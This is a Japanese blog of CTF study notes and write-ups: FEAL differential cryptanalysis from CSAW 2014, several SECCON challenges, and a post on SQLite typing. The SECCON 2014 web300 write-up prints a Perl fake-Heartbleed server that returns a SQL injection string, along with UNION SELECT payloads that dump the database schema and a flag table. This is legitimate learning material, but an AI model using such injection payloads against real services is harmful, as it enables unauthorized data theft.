Katagaitai CTF勉強会 関東med (Crypt 理論編?)
先週末に行ってきた勉強会。とてもタメになった。
が、なかなか本腰いれて取り組めないので、少しずつアップすることにした。
今回は午前中のcryptについて、理論面を整理。 実装は、きっとこのあとやる・・・はず。
問題
CSAW CTF 2014 – Crypto300 – feal.py
FEAL(the Fast Data Encipherment Algorithm)
https://ja.wikipedia.org/wiki/FEAL
の復号を扱う問題。
第1段階
特定条件を満たす値が要求される
- a sha1 sum ending in 16bits set to 1
- it must be of length 21 bytes
- starting with [毎度変化する乱数]
時間制限は特に無いもよう。 何度か試したが乱数は必ず16byteなので、21-16=5byteのブルートフォースを考える。
以下のループを作る。(速度考えC言語)
- 末尾5byteを1bitずつインクリメントする
- 各ループでSHA1hashを計算
- 計算したSHA1hashの末尾16bitが1になっていたらbreak
また、ネットワーク経由で回答するので、以下のスクリプトを用意
- サーバにソケットをはる
- 乱数部を取得する
- ブルートフォースの結果を送信する
第2段階
暗号文の復号を求められる。
任意の値を入力すると、その暗号化結果を返してくる。 (この時、同じ鍵を使って暗号化している)
↑重要。しばらくこれに気づかなかったので解法のアプローチが理解できなかった
問題名をググるとFEAL暗号に行き着く。
金言:暗号問題は、とにかくググッて暗号文アルゴリズムと解法を見つける
FEAL暗号の仕組みを書こうとすると勉強会スライドのコピペになってしまいそうなので、自分が理解する過程で書いたメモをここにおいておく。
注意点(自分へのToDoも兼ねて)
- ページ数は勉強会資料のスライド番号
- 勉強会資料のURLは公開され次第反映予定(覚えていれば
- 勉強会当時と内容が修正されている場合、ページ数に齟齬が出るかも(覚えていれば修正する
- 以降勉強会資料中では XOR演算を + と表記しているので、ここでもそれに習います。 (+ は加算ではないので注意)
FEALの概要 (pp25-27)
- 共通鍵暗号方式
- ブロック暗号
暗号解析のアプローチ(pp28-29)
僅かに異なる2つの入力を与えてみて、暗号化結果の相関を見る。 (共通部分が同じ暗号化結果になる場合、それはヒントになり得る)
差分解析
FEALにおける差分解析の有効性(pp30-31)
4ラウンドあるので、1ラウンドずつ見ていく。(p30)
- 8byte毎に分割した4つの入力を処理しているので、これらの組み合わせ(同じ/違う)を考える
- ラウンド内にある関数G0,G1は入力が(0,0)の場合に特定の値(0 or 4)を吐き出す。
- Gn(a,b) = (n or a or b) mod 256 <<< 2
- G0(0,0) = (0 or 0 or 0) mod 256 <<< 2 = 0 <<< 0 = 0
- G1(0,0) = (1 or 0 or 0) mod 256 <<< 2 = 1 <<< 2 = 4
x0~x4までの値の組み合わせを工夫して、G0とG1への入力を0にする方法を考える
(考えるというか、誰かが考えた内容を見つけて理解する)
解析手順(p32)
- 途中にXOR演算が存在する
- XOR演算の箇所に同じ値が入るようにすれば 0 が作れる
具体的な値を入れて差分をとってみる(pp33- )
(pp33-34)
図中でも書いてくれているが、自分で各値を計算して整理してみたのが以下。
(計算して資料と合わない点は質問ちう)
(x0,x1,x2,x3) → (y0,y1,y2,y3)
とした時、y0~y3の定義は
y0 = G0(x0, y1) = G0(x0, G1(x0+x1, x2+x3)) y1 = G1(x0+x1, x2+x3) y2 = G0(y1, x2+x3) = G0(G1(x0+y1,x2+x3), x2+x3) y3 = G1(y2, x3) = G1(G0(G1(x0+y1,x2+x3), x2+x3),x3)
ここで、x0=x1, x2=x3 とすると、x0+x1=0, x2+x3=0のため、
y0 = G0(x0, G1(x0+x1, x2+x3)) = G0(x0, G1(0,0)) = G0(x0, 4) y1 = G1(0,0) = 4 y2 = G0(y1,0) = G0(4,0) = 16 y3 = G1(16,x3)
スライドだとy2=32だが?
→(2/6追記)
bataさんより、本問は3bitシフトなので32で正しいとご指摘いただいた。
@linus404 「スライドだとy2=32だが?」→ この問題は,本来のFEALではなく,少し改変されたFEALなんです.なのでG()内のシフト量がオリジナルとは違う事に注意して下さい.(引用した資料の図が間違ってて,<<<2じゃなくて<<<3です.y2=32は合ってます)
— bata (@bata_24) 2016, 1月 29
確かに、ソースを見たらその通りだった。
何故見ようとしなかったのだろう・・・
def rot3(x): return ((x<<3)|(x>>5))&0xff def gBox(a,b,mode): return rot3((a+b+mode)%256)
(追記おわり)
もう一つの入力
(x'0,x'1,x'2,x'3) → (y'0,y'1,y'2,y'3)
については、x,yをx',y'にするだけなので省略
差分は
⊿y0 = G0(x0,4)+G0(x'0,4) ⊿y1 = 4 + 4 = 0 (※一見おかしいけど、 + は xor なので正しい) ⊿y2 = 32 + 32 = 0 ⊿y3 = G1(32,x3) + G1(32,x'3)
出力差分がx1, x3のみに依存する=偏る
(pp35-36)
- X = 0x00000000 (X0=0x00, X1=0x00, X2=0x00, X3=0x00)
- X' = 0x80800000 (X0=0x80, X1=0x80, X2=0x00, X3=0x00)
y0 = G0(0,4) = 0x10 y'0 = G0(0x80,4) = 0x84 <<< 3 = 0x12 ⊿y0 = 0x02 y3 = y'3 = G1(32, 0) ⊿y3 = 0
- 特定の⊿xになる入力で⊿yを推測可能 *
(pp37-41)
以上は1ラウンドだけの話
これを4ラウンド続けたらどうなるか。
Y, Y'を計算してから⊿Yを導いてみる
- X = 0x00000000 (X0=0x00, X1=0x00, X2=0x00, X3=0x00)
- X' = 0x80800000 (X0=0x80, X1=0x80, X2=0x00, X3=0x00)
1段目入力
左:P1l=X+K4 ⊿P1l=⊿X 右:P1r=K4+K5 ⊿P1r=0
1段目出力
左:C1l=X+K4+f(K0+K4+K5) ⊿C1l = ⊿X = 0x80800000 右;C1r=K4+K5 ⊿C1r = 0
2段目入力
左:P2l=P1r ⊿P2l = 0 右:P2r=C1l ⊿P2r = 0x80800000
2段目出力
左:C2l=P2l+f(K1+C1l) ⊿C2l = f(0x80800000) = 0x02000000 右:C2r=P2r ⊿C2r = 0x80800000
3段目入力
左:P3l=C2r ⊿P3l=0x80800000 右:P3r=C2l ⊿P3r=0x02000000
3段目出力
左:C3l=P3l+f(K2+P3r) ⊿C3l = 0x80800000 + ⊿f(K2+P3r) = ??? 右:C3r=P3r ⊿C3r = 0x02000000
4段目入力
左:P4l=C3r ⊿P4l=0x02000000 右:P4r=C3l ⊿P4r=不明
4段目出力
左:C4l=P4l+f(K3+P4r) ⊿不明 右:C4r=P4r ⊿P4r=不明
(pp42-46)
最終的な出力から考えてみると、
左出力: Cl = C4l 右出力: Cr = C4r+C4l = P4r + Cl
よって、
P4r=Cr+Cl となる。
つまり、狙った差分の入力X,X'から、C, C'を得られれば、逆算可能。
(そして、C,C'は暗号化結果なので取得可能な値)
(pp47-53)
4つの値(左右入出力差分)がわかったので、Key3が逆算可能
あとは芋づる式に K2, K1 K0, K4, K5 を求める。
K3: ⊿C1= ⊿P4l+f(C4r+K3)+f(C'4r+K3) =0x02000000+f(Cl+Cr+K3)+f(C'l+C'r+K3) C4r=Cr+Cl C4l=Cl K2: ⊿C3l=⊿P3l+f(C3r+K2)+f(C'3r+K2) C3r=C4l+f(C4r+K3) C3l=C4r K1: ⊿C2l=⊿P2l+f(C2r+K1)+f(C'2r+K1) C2r=C3l+f(C3r+K2) =C1+C2+f(C3r+K2) C2l=C3r K0: ⊿C1l=⊿P1l+f(C1r+K0)+f(C'1r+K0) C1r=C2l+f(C2r+K0) C1l=C2r K4: K4=P1l+Pl=C1l+f(C1r+K0)+Pl K5: K5=C1r+Pr+K4+Pl
後はこれを実装すれば、きっと・・・(まだやっていない)
SECCON 2015 online
前日が同期の結婚式で多忙だったので抜け殻状態でトライ。
二日酔いの寝不足で途中寝落ちたりしたので、実質3時間程度しか戦っていない。
結果、1問 300点しか取れませんでした。
やっぱ片手間じゃ太刀打ちできませんよねー。
# network 100 Entry form
## 大会中の動き
Webアプリ系問題。
Emailアドレスと名前を入力する登録フォーム。
ディレクトリトラバーサルで問題アプリのソースコードを発見。
sendmailを使って登録完了メールを送るソースだったので、捨てアドで登録してメールヘッダインジェクションを試みるも、そもそもメールが届かない。
じゃあコマンドインジェクションかー。と試してみるが、動かず。
一旦他の問題に移り、そのまま放置
## 事後の反省
WirteUpを見る限り、アプローチは正しかった模様。
おそらくは、構文の組み立てがちゃんとできていなかったのだと思う。
(シングルクォーテーションの扱いとか、気をつけたつもりだけど雑だったんだと思う)
# network 200 fragment2
## 大会中の動き
pcap解析の問題。
パケット末尾に the flag is in header とあったので、ヘッダを順番にみてみる。
しかし、
- pcapヘッダ
- etherヘッダ
- ipヘッダ
- tcpヘッダ
いずれも不審点なし。
tcpヘッダの末尾から the flag is...の間に 70バイトほどのデータが有ったので、ここに着目。
port80だし、HTTP2だろーと思って、Wiresharkでデコードしてみる。
が、デコード出来ず。
万策尽きて、別の問題へ
## 事後の反省
なんと、予想通り HTTP2だったらしい。
Wiresharkをバージョンアップして再度試したところ、うまくデコードできた。。。グダグダ
そしてHeader Block Fragmentがある。これがFragment2か。
HPACKされているはずなので、こいつをHPACKデコードすればフラグが出そう。
go言語のHAPCKデコーダを見つけたので、こいつを使えばいけそうな予感。
(go書いたことないけど)
# Unknown 300 Exec dmesg
## 大会中の動き
Linuxのisoイメージが配布される。
中身は tiny core linux.
新入社員のとき仕事で使ってた懐かしいOS。
問題文のとおりdmesgを実行しようとしたが、busybox に ねーよ と怒られる。
dmesgの本体は /var/ だか /dev/ にあるはずだけど思いだせねー
と思い、 dmesgアリ版のbusyboxを調達することにする。
uname -a したところ、幸い、i686だったので特に障害も無し。
dmesgできるバイナリを配置して、実行すると、dmesg中にフラグを見つけた。
## 事後の反省
別のWriteupで
```
# grep -iR SECCON /
でフラグ発見。grep最強!
```
という記述を見て、エレガントだと思った。
また、dmesgを目grepでフラグ見つけた自分、アカンなと思った。
# 全体
今回はスケジュール的に専念出来ない状況だったので、まあ仕方ないといえば仕方ない。
逆に、腰を据えて挑まないとろくにパフォーマンスが出ないということをよく証明する意味で、良い悪い見本(?)となる経験だった。
あとどうでもいいけど、出題者QRコード好き過ぎ。
やってないけど。
sqlite3のデータ型について
いくつか驚いたことがあったので忘れないようにメモ。
結論
- create文で存在しないデータ型を指定してもエラーにならない
- integer型のカラムに数字に出来そうにない文字列(e.g. sqlite)をぶち込んでもエラーにならない(text型で格納される)
- データ型は「その型しか入らない」ではなく、「その型に変換できないかがんばる」ためのものと捉えた方がいい
実験
まずは、 integer型のidと、text型のnameというフィールドを持つテーブルを試す。
sqlite> create table texttype (id integer, name text);
sqlite> insert into texttype values (1, 'alice');
sqlite> insert into texttype values ('2', 'bob');
sqlite> insert into texttype values ('c', 'cindy');
sqlite> insert into texttype values (2.5, 1234);
sqlite> select id, typeof(id), name, typeof(name) from texttype;
1|integer|alice|text
2|integer|bob|text
c|text|cindy|text
2.5|real|1234|text
integer型の場合
整数→integer
数字リテラル→integer (型変換)
非数字リテラル→text
小数→real
と、当たり前のように整数型以外が入った。
どうも、「型変換はがんばるが、無理ならそのまま入れる」みたいな作りらしい。
続いて、あり得ないデータ型(foo, bar)でつくってみる。
sqlite> create table othertype (id foo, name bar);
sqlite> insert into othertype values (1, 'alice');
sqlite> insert into othertype values ('2', 'bob');
sqlite> insert into othertype values ('c', 'cindy');
sqlite> insert into othertype values (2.5, 1234);
sqlite> select id, typeof(id), name, typeof(name) from othertype;
1|integer|alice|text
2|integer|bob|text
c|text|cindy|text
2.5|real|1234|integer
型変換なしで何でも入る模様。
これだと
create table jiro (yasai mashimashi, ninniku Chomolungma, choi karame )
とか出来ちゃうってことか。。。
んー。DBのデータ型って意識したことなかったけど、こんなものなのか・・・
他のDBMSも調べてみよう。
SECCON2014 オンライン予選(en) web300 Bleeding "Heartbleed" Test Web
HeartBleedの脆弱性を持つサイトをテストする画面。
とりあえず、HeartBleedの脆弱性を持つVMを用意する。
実際実行してみたところ、特にリクエストにフラグ等はない。
(リクエストのパディングにフラグ埋め込むのだろうと思っていたので調子はずれ)
なんどうか実行していたら、偶然SQLエラーが発生した。
そこでこれがSQLi問題なのだと知る。
で、HeartBleedで抜き出されるメモリ内容の代わりに、任意の文字列を返すため、ハニーポットを用意。
#!/usr/bin/perl
# hb_honeypot.pl -- a quick 'n dirty honeypot hack for Heartbleed
#
# This Perl script listens on TCP port 443 and responds with completely bogus
# SSL heartbeat responses, unless it detects the start of a byte pattern
# similar to that used in Jared Stafford's (jspenguin@jspenguin.org) demo for
# CVE-2014-0160 'Heartbleed'.
#
# Run as root for the privileged port. Outputs IPs of suspected heartbleed scan
# to the console. Rickrolls scanner in the hex dump.
#
# 8 April 2014
# http://www.glitchwrks.com/
# shouts to binrevuse strict;
use warnings;
use IO::Socket;my $sock = new IO::Socket::INET (
LocalPort => '443',
Proto => 'tcp',
Listen => 1,
Reuse => 1,
);die "Could not create socket!" unless $sock;
# The "done" bit of the handshake response
my $done = pack ("H*", '16030100010E');# Your message here
#my $taunt = "09809*)(*)(76&^%&(*&^7657332 Hi there! Your scan has been logged! Have no fear, this is for research only -- We're never gonna give you up, never gonna let you down!";
my $taunt = "09809*)(*)(76&^%&(*&^7657332 'union select flag from ssFLGss; ";
my $troll = pack ("H*", ('180301' . sprintf( "%04x", length($taunt))));# main "barf responses into the socket" loop
while (my $client = $sock->accept()) {
$client->autoflush(1);my $found = 0;
# read things that look like lines, puke nonsense heartbeat responses until
# a line that looks like it's from the PoC shows up
while (<$client>) {
my $line = unpack("H*", $_);if ($line =~ /^0034.*/) {
print $client $done;
$found = 1;
} else {
print $client $troll;
print $client $taunt;
}if ($found == 1) {
print $client $troll;
print $client $taunt;
print $client->peerhost . "\n";
$found = 0;
}
}
}close($sock);
そこに以下の順で攻撃コードを書いた。
まずはテーブルスキーマの把握。
エラー文から、実行されているSQLは
select time from results where result='Co...
だとわかったので、union selectで色々表示させてみる。
テーブル名をまず見てみる
' union select name from sqlite_master;
1回目では results というテーブル名が出てきてハズレっぽかったので
' union select name from sqlite_master where name!='results';
と、次のテーブル名を表示。
すると ssFLGss というテーブル名がでた。
テーブル構造を把握するため
すると flag ってフィールドがあるとわかったので、
最後のコード
'union select flag from ssFLGss;
を実行。
フラグ取得。
ちなみに今回外部アクセス可能なサーバはCloudnを使用して立ち上げました。
詳しいメンバーがいたとはいえ、一瞬で環境構築まで出来て驚き。
SECCON2014 オンライン予選(en) nw300 Get from curious "FTP" server
なんとなく普通の挙動はしてない気がしたのでTelnetで接続。
telnet ftpsv.quals.seccon.jp 21
もちろん裏ではwireshark
ログインはanonymous
とりあえず、普通使えるであろう LIST NIST ls が使えない。
どうすっかと思いつつ HELP を実行すると、RFC嫁と言われる。
http://hp.vector.co.jp/authors/VA002682/rfc959j.htm
ザーッと眺めつつ、ACCTを実行したら、PASVモードになれとの応答。
(あるいはデータポート指定しろ、だったのだが、NATの内側なのでPASVに)
データポートを別窓で繋ぎつつ、
再度ACCTしたら、ファイル名が届いた。
FTP Data (-rw-r--r-- 1 0 0 38 Nov 29 04:43 key_is_in_this_file_afjoirefjort94dv7u.txt\r\n)
もうこの時点で勝利確定。
RETR key_is_in_this_file_afjoirefjort94dv7u.txt
でフラグ取得。
SECCON2014 オンライン予選(en) nw200 Version2
srv h2o.pwn.seccon.jp.
DNSのSRVレコードだろうと目星をつけるが、なんのサービスなのかわからず悩む。
そこでh2oでググったら某海外ゲームが出てきた。でも古いしバージョン2も出る気配はないので除外。
ここでチームメイトに もうすぐ出るバージョン2とH2Oからなに連想する?と聞いたところ
HTTP2のライブラリでH2Oというやつが在るということが判明。
とりあえずポート番号がわからない(80/443/8080いずれもNG)ので、
当初の発想に戻り、DNSでSRVレコードを引く。
HTTPポート 65080 (今回はつかわないけど)
dig _http._tcp.h2o.pwn.seccon.jp. SRV
; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> _http._tcp.h2o.pwn.seccon.jp. SRV
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 9449
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;_http._tcp.h2o.pwn.seccon.jp. IN SRV
;; ANSWER SECTION:
_http._tcp.h2o.pwn.seccon.jp. 5 IN SRV 1 1 65080 h2o.pwn.seccon.jp.;; Query time: 35 msec
;; SERVER: 192.168.159.2#53(192.168.159.2)
;; WHEN: Sun Dec 7 09:26:33 2014
;; MSG SIZE rcvd: 83
HTTPSポート 65432 (本命)
dig _https._tcp.h2o.pwn.seccon.jp. SRV
; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> _https._tcp.h2o.pwn.seccon.jp. SRV
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12945
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;_https._tcp.h2o.pwn.seccon.jp. IN SRV
;; ANSWER SECTION:
_https._tcp.h2o.pwn.seccon.jp. 5 IN SRV 2 0 65432 h2o.pwn.seccon.jp.
;; Query time: 39 msec
;; SERVER: 192.168.159.2#53(192.168.159.2)
;; WHEN: Sun Dec 7 09:31:33 2014
;; MSG SIZE rcvd: 84
で、めでたくポート番号がわかったので、HTTP2を有効化したChromeにアクセス。
ヘッダの中にKey発見。